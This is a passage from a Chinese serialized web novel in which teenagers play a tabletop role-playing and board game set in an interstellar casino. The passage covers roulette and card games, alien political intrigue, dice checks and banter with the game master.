颜阎、刘征兰和铃铛蹲在角落里摆弄骰子,三个脑袋挤在屏幕里,和电视里的康烁影和以布说悄悄话。
经过刘征兰赢下的那一把玻璃牌,颜阎和铃铛也被她带进了贵宾厅。现在整个赌场里有三枚刘征兰的棋子,她一个人就能包围整个赌场!
康烁影是遵纪守法好公民,在生态箱赌场一把都没有赌过。她强烈谴责卓卓坎:“都星际文明了,怎么还有帝制啊!”
刘征兰说:“太空歌剧的通病。没有帝国主义,很多剧情是无法展开的。”
颜阎分析:“而且,一个集权制的政体比权利分散的政体效率高多了,更适合进行宇宙探索,否则那点钱都有来搞民生了,太空的实用率有点低,不如搞搞民生抬高支持率。所以比起说星际文明有帝制,不如说高度集权才会主动接入星际文明。”
“……你小子说的真有道理!”康烁影鼓掌,“但我不在乎,我下面要过你家门口了,你别出门,省得撞我!”
颜阎委委屈屈地低头:“哦。那我再蹉跎一轮。”
“真识趣。等开学了请你喝雪王。”
“我只想喝冰红茶……”
“四季春也不喝?”
“冰红茶比雪王好喝。”
“没品。”
“有品!”
“没品!”
“你等着!我要找援兵!刘啊,刘女士!刘……嗯?”颜阎推了推身边一动不动的刘征兰,“干嘛呢?”
铃铛叹气:“她走了有一会儿了。”
“死了?”
“没有。”
“确实,哪有这种好事。她去哪了?”
“她的另一枚棋子被那两个赌狗选中,陪着赌博去啦。”
贵宾厅和散桌、老虎机的不同之处在于,这里的人并不是抱着牟利的心去赌的。普通人在面对赌桌时狰狞的丑恶全然不在贵宾厅中浮现,取而代之的是一种气定神闲的高贵。
刘征兰对这种高贵有着生理性的厌恶,她觉得这种有底气的从容正是因为富人不需要在贫困线挣扎,不需要为了生存在极端环境下奋斗,因此也更少收到道德的考验。连赌瘾都像是一种优雅的嗜好。
刘征兰的这枚棋子自从被米普选中后,就一直在干一些收集情报的活。本来她早就应该完成游戏回去待命,但这枚棋子混得比较深入,她实在不想放弃。
她有幸在散桌里作为赌客游荡,观察众人的反应也轻而易举。卓卓坎就在这里,工作人员祖兰替在他身后寸步不离。
桌上已经有许多人,连卓卓坎的仆人都有幸上桌。她往绿毡桌上瞟了一眼,发现桌上是最简单的轮盘赌。
卓卓坎气质优雅地把无数水晶筹码推到一边,压在单数上;米普比他无礼得多,它一边消化着馔晶,一边不断地自言自语“让我看看赌什么,玻璃牌我还有点自信可这是轮盘赌,让我看看让我猜猜,单数?但还是双数比较有戏剧性,还是黑?命运啊……命运啊……”;而卓卓坎的那名仆人,它已经快要崩溃了,它的身子痉挛着,全身发出“咔咔”的声音。它手中捧着的筹码足以让它丰衣足食地度过一生,它一辈子都没见过这么多钱!而现在它却迫于主人的命令,必须将它赌出去……要是输了,它宁愿砍断这一对捧起过财富的手。
卓卓坎“啧”了一声,拔出腰间一把装饰性的刀就要成全它。刘征兰身体比脑子快,一个箭步上去,把仆人手里的筹码押在红上。那把钝刀砍进她身体里,幸好劈进在片六边形的缝隙之间。
仆人发出一声长长的悲鸣,钻进了赌桌下面,不停地磕头。
另一名仆人沉默地膝行过来,捡起穿过刘征兰无形之躯的刀递给卓卓坎。那名人类阴冷地看着她,刀背一下一下地磕着赌桌。
所有的喧闹都在他的节拍里消失了。
刘征兰冷汗直冒。要是康烁影和颜阎大概还能说点什么缓解尴尬,但她的社交技能实在贫乏。她只能干巴巴地说:“我……呃……”
“葛亚莲卡经理,看来您的同族同情我的奴隶。”卓卓坎悠然道。
葛亚莲卡从他背后的阴影中走出来,即使是刘征兰也能感受到她的惊愕和愤怒:“我的失误,先生。需要我将它丢出去吗?”
“当然不需要。既然它有为人出头的勇气,想必也应该有相应的觉悟。”卓卓坎微笑,“来吧,把生命押在赌桌上。”
他抛来一枚金色筹码,这是赌场里代表卖身的筹码。刘征兰将它接住,对着光看了看——纹样很漂亮,是个方形的生态缸,缸中封着一大堆金币。
因为在决定别人
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的人生,刘征兰尤其慎重。她把一半筹码押在红上,输了。又押了一半,又输了。她把卖身的筹码扔上赌桌,还是赌了红,又输。本以为结束了,她冷静地接受了命运,结果有一只手往她身边塞了一枚筹码。
她四下张望,没有看到熟悉的人。连祖兰替都离她很远。
生命正从她手中流逝,即使这是个游戏,她也不禁紧张起来。
“我还没来得及够到真正的知识……宇宙的公式……世界大同的秘诀……一切的答案……”
她押了红。
将命运放在别人手中,远比自己承担责任要轻松。仆人的颤抖停止了,颓废地堆在卓卓坎脚下。
这次她赌赢了。她目测了一下筹码的数量,又从里面分出一半,赌单数。
米普在旁边叹气:“你染上赌瘾了!”
“我没有。”刘征兰比围观的人都冷静,“我很快收手。”
每一个赌徒都这么说。米普更深地叹气,百无聊赖地摆弄起筹码来。
刘征兰又赌了三次,去掉原来的成本,她手里的钱足足有几百万。但她的金色筹码在卓卓坎手里。
人类笑了:“我不折磨一个没有激情的对手。把你的全部身家赌上,换你的卖身契。”
刘征兰想了想,用身体里的电弧吸附来自己的筹码,掀开桌子两侧的红色桌布,钻到桌子底下,和那位佛南内耶仆人面对面。她把筹码放在它面前,飞快地低声叮嘱:“换钱,就在门口。这里是正规赌场,不会有人拦着你的。这些也买得起一个自由民的身份。”
其实蜜谷本质上没有奴隶制度,它和卓卓坎是雇佣关系,只是碍于贫穷的家境和卓卓坎的权势,它绝无辞职的可能。但此时佛南内耶已经说不出话,它点了点筹码,发现和刚开始卓卓坎给它的数量一致。
刘征兰站起来,把其他筹码全推上桌子,赌红色,输了。
卓卓坎赌了双数,赢来两百三十二万和一条生命。
他把筹码掰碎,扔给葛亚莲卡:“它有公民身份吗?”
当然不会有。所有签署了玫卢公约的组织内都不会有它的信息留档,更别提人类共同体。刘征兰的身份是佐斐那本地人,一个爬行文明的普通人,它的母星不曾与星际文明接轨,自然不会有任何一个组织的公民身份。
葛亚莲卡身上的六边形身体里浮现出细小的泡沫,替换成人类,就是牙都要咬碎的神情:“……没有。”
“那它名下财产我也没法没收。”卓卓坎漫不经心地说,“我不想折磨一个如此无趣的人,直接带它走吧。我要亲自看它的尸首。”
生态箱赌场,不愧是赌城规模的赌城。这里不仅有绿洲喷泉、沉浸式观影剧院、马戏团和温室花园,还有法院、监狱和刑场。只不过这里的法院只向秩序看齐,而秩序是建立在大规模的攫取利益上。
葛亚莲卡常年佩戴的高功率电极片被它摘下来了。它向刑场投入了金色筹码,门顿时开了。卓卓坎饶有兴致地看着里面的磁镜、手铐和穿孔机器,似乎对赌场的刑场很有兴趣。
葛亚莲卡和祖兰替将刘征兰推进门里,锁上那扇门。
刑场里铺满某种凹凸不平但排列规律的软材料,摸起来手感滑溜溜,但是孔洞非常多,似乎是隔音设备。
“茱莫罗图珀·茨涅德。”
刘征兰点头:“是我。”
这是这具身体的真名,她在驾照上看到过。一个出身小资之家,有资格登上生态箱赌场的佐斐那本地人。
葛亚莲卡身体里的电流像玻璃裂痕扩散:“你但凡管住你的手……你但凡管住你的嘴……”
刘征兰果断而冷酷地说:“不好意思啊,我就是这样的人。”
“我们的计划全完了……你死了……佐斐那怎么办……我的佐斐那怎么办……”
刘征兰一愣:什么计划?她跟康烁影连麦的时候,这具身体发生了什么吗?她没太注意。
容不得她多想。祖兰替将她拖到两片磁镜中间,一顶半圆囚笼从天而降,高温宛如一只大手将她按在地上。她身上六片透明的六边形从彼此之间的引力中挣脱,跳到地面上。
“嚓”地一声。她身体里的电流消失了,那六片六边形成了她的尸体——充盈着泡沫的玻璃片、一种死物。
她死了。
【绿组第一枚棋子,已通关。】
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光——平衡、均匀、稳定、暧昧、不刺眼但是引人注目,无边无际无穷无尽的光海。声音——在人流量最高的时刻播放动感的音乐,为了留住客人,又变得舒缓,曲调和节奏基本无变化,令人放松和安心。气味——淡雅、温柔、橡木、麦芽、清新的雨水和发咸的木头。
魔笛一般的机器,魔鬼一样的骰子,魔法一样的赌场。
顶级的酒店管理、建筑设计师、灯光设计师、音乐制作人和社会学家,共同为您服务,量身定制这令人欲罢不能打造出的贪婪温床。去赌场!去赌场!去赌场!金币在管道里流淌,幽香在体内芬芳,那美丽的人生向您招手——押下赌注,您就是新世界的王!
赌客们终于意识到,赌桌上的卓卓坎是多么仁慈。只要拿出足够的真诚,辅以一点运气的庇护,在赌桌上,双方永远是平等的,再卑微的人都能从他手上赢得财富和权力,再高贵的人都有可能丢失性命。
三个夜晚,他拿出的赌注可以买下整个一个行星,经手的筹码可以堆出一座高塔。水晶和金币铺成狂欢的地毯,指尖流出以兆议价的熵涨落线,杯中痛饮的是银河之水,吞嚼的是恒星的铁核。
这几日,被后来者称为跳舞节,因为那豪赌的姿态和忘我的大笑,如同舞蹈一般令人迷乱。当时的场景被许多人记录了下来,至今还有影像存世。据估计,生态箱赌场当时的交易额至今仍是通历史上不可超越的传奇。
这无尽的狂欢中,有一个遗世独立的身影。它只在喷泉附近游走,身上的孤独令人生厌。
卓卓坎在中场休息中端着酒杯,亲自来邀请它:“我的朋友,你对什么不满意吗?”
米普只参与了寥寥几场赌局。它整日只是围观几秒,然后叹息着离去,仿佛一切都在折磨它。即使卓卓坎的邀请也不能令它燃起兴趣。
“我对您的慷慨没有任何不满。”米普向赌场致意,这里遍地都是倾倒的酒杯、醺木与醉倒的躯体。喷溅的鲜血和水银被地毯吸收,水晶的筹码藏在缝隙里,“如此的盛况,都是因为您的豪爽。”
“那你为什么不参与进来?难道您对命运的游戏厌倦了吗?”
“当然不是。我只是……”米普欲言又止,最后深深地叹了口气,“没什么。”
“请说吧!与你的交手是我生命中最快乐的一次赌博!我会接纳的一切语言!”
赌徒有什么理智可言?米普立刻和盘托出:“您太从容了。”
“什么意思?”
“恕我直言。您认为在同样的规则里,你和其他赌客就是平等的吗?”米普道,“你们的身家完全不同,您的赌注对于您来说只是指缝里漏出的沙,对于它们来说,却是一个天文数字。后路不同,背景不同,你们的在赌局里的地位完全不平等。您当然可以随手全押,而对方却只能放手一搏。这全然称不上好赌,只是一种炫耀罢了!”
卓卓坎皱起眉,脸上的笑容却并未减退:“那我和你赌上金筹码,如何?”
“生态箱赌场的卖身契只是拥有折磨您躯体的能力,对财产毫无效力。我不可能伤害您又全身而退,不遭报复。倒是杀了您再潜逃还颇有前景,您的政敌自会庇护我,但死有什么可怕,它早晚都会到来,这是一件早已注定的事,我们能决定的只是它到来的时间。我无法拥有您的死,您也无法拥有我的。”
卓卓坎的神情中出现了一丝烦躁:“那你想要什么样的赌局?我会尽我所能满足。你知道的,这世上除你我之外,再无真正的赌客,它们只是亡命徒和可恨的亵渎者罢了。”
“当然是活着的低谷。”米普神情厌倦,“你输了就交出财富和权柄,我输了就扭送回去接受军事法庭的审判,闹出众叛亲离的下场。当然了,虽然结果都是身败名裂,但是你的影响力实在太大,落差太过悬殊,想必你也不会答应。所以你应当认清,在放手一搏的威胁下,你和你看不起的亡命徒、丑恶者、凡人,是别无二致的……”
一枚硬币扔到它脸上,如同彗星坠落。
“拿着。”卓卓坎道,“透支我的财富、权力,作生死对决吗?有点意思。拿去吧,这是生态箱赌场发动机的身份凭证。如果你赢了,它就属于你。”
米普惊叹不已:“生态箱赌场不应该属于四臂财团……?”
“四臂财团到处下注,这是我们蜜谷和财团之间友情的证明。它本不该在我手里,但你也知道,政治家之间多少有点……”他搓了搓手指,“如果它被输了出去,我的前途和信誉,可就折在这里了。这是否能让你满意?”
米普道:“勉勉强强。如果我输了,您可以拿走我所有的财产和我的躯体。我们这个种族一向是好用的奴隶。而且我的背后没有任何家族、政治可言,您可以随意驱使。”
“不需要。”卓卓坎道,“你只需要确认,这的确是令我终身难忘的厮杀。”
刘征兰棋子二号和黄组两人探头探脑。
颜阎踮脚:“干啥呢那边?”
刘征兰钻过去看了一眼:“打牌呢。”
铃铛都累了:“又打牌?谁和谁打啊?”
“那俩赌狗。”
“不会又要抽人?咱们往后稍一稍吧,别抓着咱们。”
话音刚落,一个骰子到来。
【幸运检定(出目/检定):99/57大失败】
【长相如同石头的那位一下子就被看中,由于你曾经加入过卓卓坎的赌局,他对你印象深刻。但是由于你的种族地位低下,周围人对你的态度并不算和蔼,甚至有人对你投来了嫉妒的眼神。】
【就在你走向赌桌的时候,有人故意踹了你一脚】
【HP-1】
【HP=7/8】
铃铛大怒:可恶!种族歧视还闹到她头上来了!
她和陪同助兴的葛亚莲卡坐上了赌桌。她已经下定决心不出千了,打得颇有一种破罐子破摔的架势。
但是随着牌局的进步,她心中隐隐有一种奇特的熟悉感。
这是打玻璃牌的手感。
可她玩的就是玻璃牌,为什么会有这种奇怪的手感……
【灵感检定(检定/出目):12/60成功】
【你想起来,这里按照时间线是五千年前。那个时候的玻璃牌刚刚诞生不久,应该还是普通的牌种,没有成为出千专用牌。因此,你得熟悉手感就变得很奇怪了。】
【这张赌桌上,有人在出千。】
铃铛心中一紧,视线在另外三个人中逡巡。
她的出千方式非常简单,就是“看”。
“迁氧”,这个名字本身就非常具有人类中心主义的气息,将不呼吸氧气的全部划为同一个种族,是非常不明智的。人类和家畜都呼吸氧气,难道它们也是同一个种族吗?
坎尼亚这个种族,在如今这个争斗的时代地位并不高,大部分生物都不认为它们有智慧,自然不会有谁特意去研究它们。可实际上,许多地位低下的种族有着和签订“玫卢公约”的种族们们截然不同的身体结构,比如——
不利用光波感知物体。
很奇妙吧?不利用光波,无法仰望星空,不知道宇宙的美丽,依然能步入太空探索的时代。
它们付出了相当多的时间和努力,终于跃出了自己星球的大气层。然而它们的命运,就只是被更早步入太空的文明压榨而已。
很多人都觉得,玻璃牌的出千是因为它透明的外表会透亮、反光,其实这只是迷惑的手段。
坎尼亚利用声波感知物体,对与它们来说,一块表面凹凸不平的牌就像是一张一览无余的画,反而是将一张颜料涂画的牌正面朝上摆在它们面前,它们反而会什么都“看”不到。
比起说铃铛在作弊,不如说,她只是在“看”。
如果这张桌上不止有她一个人在“看”,那么另一个是谁?人类利用光的反射观察世界,葛亚莲卡的观察方式不明,但如果足够特殊,刘征兰会告诉她的。
在场只有一人是怀有秘密的。
米普。
这个真名不详,只使用了种族名的逃兵。
它在出千。
葛亚莲卡的身体中浮起无数泡沫——赌场的凭证,即使是在外交平台上也足以引起一片哗然。如果它能将其赢到手,生态箱赌场从此就彻底归于佐斐那了。这颗星球的外交、财政,终于能由它一手把持,它的同胞们终于不会因为荒唐的消遣而失去性命……
卓卓坎欣喜若狂。他梦寐以求的公平赌局,为了自己而赌,为了快乐而赌!他倚靠在柔软的红垫和异星的香水中,灯光和气息如同藤蔓攀上他的理智,缓缓收紧其根茎。
“啪嗒。”
“哦。”米普说,“我胡了。”
它放声大笑,笑声仿若金光迸射。那是与命运的缠斗中众剑相交擦出的火花。
它将那枚赌场发动机的凭证举起来端详了一阵,随手丢给随桌而立的祖兰替:“赏你了。”
卓卓坎大汗淋漓,如梦似幻,脸上残留着虚幻的笑容。他起身握住米普竹节状的身体,真诚地握了握。
“我……”他卡顿了一下,似乎沉浸在惊险与刺激的游戏中,“感谢您……这才是真正的赌博!”
米普摆摆身子:“不必,我也乐在其中。”他叹息道,“只是以后没有像您这样真正的赌客了。您回去之后……”
“我自会安排。”
“好。那我就此告别。”
“好的,好的……”
米普悠悠然从门口走出,然后一个回头,从员工入口折返回去,摸回葛亚莲卡的房间。然而那扇门锁着,他敲了敲,里面没有回音。
在房间门口守了好一会儿的颜阎:“需要帮忙吗!”
米普惊喜:“你会开锁?”
“我有力量。”
【力量检定(出目/检定):64/60 失败】
【颜阎用身子撞门,门纹丝不动。】
颜阎改口:“我没有力量。你另寻他人吧!”说完就理直气壮地走了,搞得米普很困惑,想叫住她又搞不明白情况,挠挠头走了。
力量没过的颜阎绕过一个转角,露出一抹笑容。
好尴尬,好想原地扭动。但她已经是一个成熟的人了,不会那么做。她只是站在原地痛苦地哼哼笑了两声,视死如归般抬脚往外走。
【过一个聆听吧,朋友。】
【蒸汽波音乐.mp3】
颜阎痛苦地扔出骰子。
【聆听检定:79/65 失败】
颜阎怒了:“什么意思!我不信!我要孤注一掷!”
孤注一掷——提供给跑团游戏里的倒霉蛋。在某个玩家认为很重要的节点,如果骰子没过,可以再拥有一次扔骰子的机会,俗称“孤注一掷”。如果成功,就普通地过了这段剧情,如果失败,则算作大失败。
【孤注一掷——聆听检定:100/65 大失败】
颜阎:?
【?】
颜阎尴尬一笑:“呃……你还会给我线索的,对吧?”
音乐戛然而止。
【倒是会给……】
【噗……安慰你一下?】
“你笑吧。”
【我没有……哈哈……要笑……】
“你笑吧。”颜阎面无表情,“我们搞笑役也有搞笑役的生存之道。遇到这种情况你笑就行了,别装作什么都没有发生。我会尴尬死的。”
【那我开始了。】
“别问我啊!”
【哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈倒霉蛋!】
颜阎两眼无神,站在那里等待着命运的审判。
【颜阎等了一会儿……哈哈哈哈哈哈……隐约听见什么声音。】
祖兰替的声音:“经理,凭证。”
“干得好。祖兰替。”
“经理,您要拿到哪里去?”祖兰替犹豫着,“那不是您和那位客人约好的地点……”
葛亚莲卡似乎冷笑了起来:“祖兰替,你还年纪太小。我教你一个小小的技巧:不要把所有的底牌亮出来。”
“……等一下!您要做什么?”
“守护这颗星球。”
“向侵略者臣服,这就是你的守护?”
葛亚莲卡的语气骤然严肃起来:“祖兰替,你知道我为什么不让你识字吗?”
“……您想说什么?”
“如今的时代,宇宙正在进行战争。来自爬行文明的你我无法想象那种科技之间的对撞,行走文明的科技对于我们来说,是一种屠杀。我们是一个小星球,没有科技,没有底蕴,虽然不愿意承认,但我们生来就是给整个宇宙当配角的。我们没办法独立于整个宇宙生存,只能选择依附于某个势力。其他势力可能不会特意清算我们吧,只是会出于我们的不忠诚给予一些惩罚。但它们太庞大了,连它们的涟漪,我们都无力承受。”
葛亚莲卡冷静的声音令人心惊:“祖兰替,你不可能有机会升学了。把这些钱拿去吧,置办你自己的家业。等到我们和星际文明接轨后,它们不一定会重视一个只掌握爬行文明科技的学生,但它们一定会重视当地的富豪。”
“您……”
“什么?”
祖兰替的声音猛然拔高:“那佐斐那怎么办?沦为星际文明的垃圾桶吗?凭什么我们就天生要成为炮灰、垫脚石?凭什么?我宁愿死也不要失去尊严!”
“有些人总认为,和平安宁的生活是因为自己做了什么。”葛亚莲卡冷冷道,“对于我们来说就是,我们总认为动荡的生活是因为我们做了什么。不是的,我们只是倒霉,我们的文明起步更晚,或者我们的星球诞生更晚。”
它的声音渐渐低了下去:“几千年……区区几千年……宇宙尺度下的几千年……只是晚了这么一点……只是晚了这么一点……”
祖兰替的声音拔高了:“还有机会,经理。我们还有机会!只要我们控制生态箱赌场……和那个什么财团达成合作,说不定我们还有……”
“来不及了。”葛亚莲卡痛苦地低吟,“罗图珀,它本来负责和财团联络,它的突然死去,让我们的联络线断掉了……卓卓坎就在处刑室外,我们甚至来不及传递消息……”
祖兰替彻底慌乱了:“罗图珀一直和我在一个员工宿舍,我怎么不知道它有秘密身份……我以为您的秘密任务指的是,它来争取卓卓坎的信任……我还帮它藏了筹码……”
葛亚莲卡的呻吟骤然停止:“你帮它藏了筹码?”
“是……是的……那个奴隶……”
“我们要拯救的是佐斐那!祖兰替!你为了拯救一个人,毁了我们的整个计划?”
“对不起……我……”
葛亚莲卡道:“滚吧。”
“……什么?”
“带着你的行李滚吧。”这位统一佐斐那的飞升者冷笑,“去地面看看吧。为了你的仁慈,我们的星球将会变成什么样。”
祖兰替心中有愧,但它仍然不解:“您向卓卓坎投诚,这种行为难道不是出卖佐斐那吗?地面上的组织已经到位了,我们马上就可以把生态箱赌场据为己有……”
“滚!!!”<
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沉默在此弥漫。
祖兰替的哽咽随之而来:“对不起,经理。”
它离开了。
葛亚莲卡如释重负地释放出电流。
颜阎听完了一整个现场,当场露出了惊叹的表情:信息量好大,她要立刻分享情报。
然而她刚刚起身,葛亚莲卡却忽然向它的方向拧身:“谁!”
坏了!她想起来了,这是个大失败!
颜阎立刻抛弃尊严,一个滑跪窜到葛亚莲卡面前:“缴枪不杀!啥都没干!干嘛杀人!人……人……爱护生命人人有责!”
葛亚莲卡冷笑了一声,“咔吧”把她崩了。
刘征兰那一次直接通关了,但是倒霉蛋颜阎发现自己直接回了起点。颜阎大怒:凭什么刘征兰可以走她不能走?
【刘征兰推进剧情多了个行动轮,还正好让她扔到通关了。但是你,因为是大失败,所以没给你行动轮,算你直接被撞回去了。】
颜阎抗议:“黑幕!”
【最大的黑幕就只是你的运气。】
“我讨厌你。”
【哈哈哈哈哈哈哈……】
“我更讨厌你了。”
铃铛和刘征兰正在赌场跟人缠斗,想必一时半会儿顾不上她。幸好康烁影的第三枚棋子停在她家门口,正在蓄势待发准备撞红组。看到倒霉的颜阎,她就朝她挥手:“欢迎来到失败者联盟!”
以布探头提醒她:“入夜后记得买武器。”
“为什么?”
以布并不多说:“买就是了。”
颜阎觉得很怪。她现在正在老家里,谁也撞不到她,她一点也不害怕!所以她理所当然地没买。
这个故事告诉我们不听老人言吃亏在眼前。从平均年龄来说,以布无疑是个老年人,所以不听他言吃亏必然在眼前——颜阎半夜被吵醒,脑子里出现的就是以上胡言乱语。
飞行器像是一艘海上颠簸的船,正在浪花中摇晃。船身发出“当当”的哀鸣,像是有水下的怪物正在敲打着甲板。
颜阎把头探出去:“别敲了,还让不让人睡觉!”
飞行器下面一群凶神恶煞的年轻人,手里举着各色冷热兵器。
颜阎把头缩了回去。
“我要过个说服。”
【说服检定(检定/出目):37/75 成功】
【在颜阎的安抚下,那一群年轻人逐渐平静下来,不再攻击你的飞行器。】
风水轮流转,运气总有好的一天!
“朋友们!”颜阎热情洋溢,“怎么回事?大家怎么都这么激动?”
如果颜阎的观察力足够好,或者当初过了个灵感,就能发现这下面的人是她在流浪者营地见过的流浪者们。但是她没有,至少她说服过了。
流浪者里的牙牙乐说:“你看电视了吗?”
颜阎说:“倒是没有。”
方块建议:“看看吧。”
颜阎从飞行器的后备箱里拖出来一台电视,又在流浪者们的帮助下,在飞行器上竖起天线。
电视里的场景非常奇特。
每一个频道,都在播放刻石通讯的广告。和蔼的主播已经变了模样,正在说话的赫然是她在上一个本里见过的人类女性。
唐捐。
“见到这样古怪的生物,你想到什么了吗?”流浪者们问。
古怪的生物问:“什么……?”
“关于天上之国的传闻很可能是真的。”流浪者营地的管理者柔和地说,“这一年里,这位主播断断续续地出场,通过暗号召集全球自救。包括如何躲避天空号角的屠杀、认领死者、揭秘天外来客的真身份。虽然目前还没有名人前来证实,但许多区域的逃亡者称,她说的是真的。天上的神——不对,天上的外星人在屠杀我们,我们必须反抗。”
颜阎真诚鼓掌:“说得太对了朋友!你等我睡完今天,我必加入!”
然后她就躺回去捣鼓电视去了。
“噗呲,噗呲。康烁影,在吗?”
以布向地面连开几枪,驱散狂热的民众:“康烁影,电话。”
康烁影一只手开飞行器,一只手去摸口袋。很快她就意识到这不是在地球,没有口袋,也没有手机。
“这里,这里!电视里!”
颜阎在电视里挥手:“现在不用电视追凶,也可以用电视沟通了哦!”
以布把爬起落架的小混混踢下去,收起枪支走到电视前,难得开口:“这个电视不对劲。”
“怎么啦?”
“这里的磁场很怪,而且科技还是真空管时代,即时通讯不应该这么灵敏。”
康烁影道:“唐捐可是刻石人未来的创始人,尽灯又是搞研究的,有点高科技很正常吧?”
以布神情阴郁,好像有无尽的烦心事:“那么他们就应该把电视设计成更轻薄便携的样子,或者直接推出讯传,而不是继续用笨重的电视。”
颜阎抓住重点:“也就是说,设计成这么笨重是有必要的?有什么必要?”
拆过电视的康烁影摇头:“我不知道。我看不懂这里的科技结构。”
两个高中生,一个学历不咋样的成年人,怎么都搞不明白这种深奥的东西。三个人一合计,觉得还是早日赶到终点最重要。
以布问颜阎:“武器买了吗?”
颜阎明白说没买只会引起叮嘱和担忧,于是随口道:“买了。”
以布盯着她看了一会儿,淡淡道:“可以跟流浪者购买武器。它们很好认,会佩戴有锁链缠石碑的标志。”
颜阎说:“谢谢以布同志!从今天起,我们就是异父异母的亲兄妹了!”
以布说:“啊?”
颜阎挂了电视。
康烁影在旁边大笑,笑了一阵,飞行器的前窗被一个丢起来的石头击中。她吓得一个激灵,发现不是敌袭才坐下。
以布坐在她旁边,静静地卸掉弹壳,动作熟练地检查子弹。
康烁影问他:“从你们的历史书上看,唐捐是好人吗?”
“算是吧。她创建了刻石人,结束了人类共同体的残暴统治。”
“那她发起的运动怎么会这么混乱,怎么会有这么多的人袭击路人?”
以布道:“我毕业后就去参军了,在战场负伤后就做了肢体改造,后来也没回家,所以文化水平不高,没发给你答复。”
“就说你自己的看法,不让你写政治大题。”康烁影怂恿他,“我对你们的历史也不了解,就听着玩玩。”
以布仰起头想了想:“如果你是从下层推翻上层,肯定会引起混乱。而混乱里就会有人趁火打劫,会有很多无辜者死去。在我的印象里,除了静默运动这种自内向外的运动,或者安卡坦这种从上自下的运动,否则运动就肯定会流血,就会有无辜的人牺牲。无论如何,最底层的人永远都在受苦。这就是为什么人们宁愿被压迫,也要守护秩序。一旦混乱到来,流血是早晚的事。”
康烁影感慨:“说的真好。朋友,我以后政治大题就这么写。”
“得分吗?”
“不得。”
“那别这么写。”
“不会真这么写,逗你的。”
“哦。”以布沉默了一阵,“真这么写能给我署名吗?”
“不如我给你弄个锦旗送到办事处后每层楼走一圈。”
“……那算了。”
“我做定了。”
“我求你不要。”
望着以布绝望的脸,康烁影坚定了给他送锦旗的决心。
108.行骗天下
许多年以后,面对无数的社交场合时,康烁影一定会想起,她带着以布撞卓卓坎的那个游戏。
真**的爽啊!
她面目狰狞地跟在红组身后几步,但凡一有机会就紧咬不放,一边开飞行器一边享受着胁迫大人物的爽快,甚至经常在飞行器里放声大笑尽情跳舞,吓得kp和以布都不敢出来招惹她。
“来啊!你也丢个骰子玩玩!”康烁影把骰子塞进以布手里,“感受一下!真的很爽!你把红组想象成你讨厌的领导,同学,然后撞死那帮low货!”
以布说:“呃要是真的能撞死我肯定会撞的……”
康烁影挑起来:“不就是因为不能真的撞死,才在这里寻求一些心灵安慰嘛!真的能撞死我们还在这儿站着?”
她说得倒是很有道理。以布都想不到理由拒绝了。
随着生态箱赌场的剧情推进,佐斐那地面上的剧情也进入了下一个阶段。通过刻石通讯的连续转播,本地生物已经得知天外的真相,怒火全部对准了无能的高层和暴虐的外星生物。
佐斐那历,14月1日,唐捐正式宣布:佐斐那保卫运动,正式开始。佐斐那的生物,还有心怀正义的外星生物,必须夺回这颗星球的自主权!
为了防止异族的身份遭到质疑,她每晚邀请一名有影响力的本地人电视直播访谈,谈论关于佐斐那的现状和未来。尽灯旅行时做的宣传也没有白费,大量警员、逃亡者和普通人愿意出镜证实天空号角、水晶筹码、怪异死亡等现象。
运动发展快速,已有燎原之势。由于尽灯的旅行宣传比较到位,各地都对天外世界有所耳闻,并没有世界观受到冲击的意外感。再加上刻石通讯各个分部都格外稳定,仿佛有什么人能顺着天线穿梭各地、监督工作似的。除去此次唐捐宣布运动开始前,各地逃亡的流浪者抢夺飞行器造成的流血,整场运动以难以想象的秩序稳步深入,甚至大多数生产活动都没有受到影响。
以布,受过基础教育的人,正凑在窗边往外看。亲历这个青史留名的组织建立,多少让他有点感慨。
康烁影在旁边开飞行器。她已经学会了,甚至可以脱离飞行棋屏幕,自如地转向、刹车、侧方斜停,感觉考驾照都没问题。她打开多视屏,甩开后面一架便宜的飞行器,它在被一群流民扔电器——这些飞行器的主人是一些小有家资的人,在这种混乱之中,富豪和高官有自己的保镖和避难场所,略有资财的人往往是率先被抢劫的。
“唉。”她叹气,“绝对的安稳是不存在的,还是要谨慎做人,财不外露。”
以布淡淡道:“庞大文明的挥手,能在一个弱小的文明掀起飓风。一个文明的病痛,能让无数细胞一样的凡人死亡。时代、地域和政策有着压倒性的力量,这不是我们可以抗衡的。身处此时的人们,无论做什么都没用。”
“人是具有主观能动性的。”康烁影反对,“无法改变客观世界,但是物质世界只要进入人的社会,就会受到人的改造。换言之,没什么是不可改变的。像唐捐一样找到方法和时机,这不正是对一种‘有用’吗?”
以布抬起头,脸上露出一点微笑。但他的眼睛暗暗地低着,像是过多的情绪沉积在里面,难以被溶解:“唐捐本人来自星际文明,她带来的科技、信息和文化,本就是一种碾压式的力量。在这个层面,她是一个拥有伟力,或者说是超能力的人。超能力者应对普通人,胜负不必多说。而且她是领导这场运动的人。你要知道,当一个人成为了某个大型组织的领袖,她必然就不再是‘普通人’了。”
“她仍然是可以被杀死的凡人。”
“这是自然。但我说的,不是物理意义上的普通人。一个领袖可以决定整个组织的动向,不论是以命令、规划还是法律的形式,而些词里面包含着许多人的命运。”以布说完,真心实意地笑着看向康烁影,“难道你觉得,所有的命令和规则,都是经过严密的审查、讨论和调查才执行的吗?”
康烁影觉得这句话很熟悉。但她还是硬着头皮问:“难道不是吗?”
“大部分是。但也有很多是漏洞百出,甚至是临时决定的。”以布用手指滚着弹夹,“只要是人,就会偷懒。就算听起来很高端,但是所有的高层也会偷懒,也会滥用权力,也会为自己留下后路,也会自以为是,也会信息闭塞,也会相信自己想要相信的。所以很多决策,很多法律,看起来庄严不可侵犯,其实都是经不起推敲的。”
康烁影抱着头,想要过个灵感:“我怎么好像听律易棋说过……颜阎和刘征兰也说过类似的话……就,世界类就像过家家。你必须相信规则才能玩下去……”
以布接下后面半段:“如果你意识到了规则的荒唐,那么你只能去玩其他游戏。要么跳格子,要么捉迷藏,要么离家出走。”
“这些逃亡的人是离家出走的人吗?”
“不算。在此之前的流浪者应该算。现在这些小资,只是一些相信了规则,和全球一起过家家的人。”
“你怎么知道人家是小资?”
“能买得起飞行器的,多少有点。”
“万一这人也是劫的呢?”
“不像。如果真是,早就探出头喊话了。”
康烁影调头回去:“唉朋友!对对开飞行器那个,你是干嘛的啊?一个月挣多少?这飞行器是你的吗?嗯对我朋友好奇!我朋友……我朋友呢?”
以布瞪大双眼,尴尬到原地石化了。康烁影戳了戳他,他“咣”一声倒地,失去声息。
“你等一下我朋友好像死了!哥们儿?哥们儿?别死啊!你死了我怎么跟铃铛交差!”
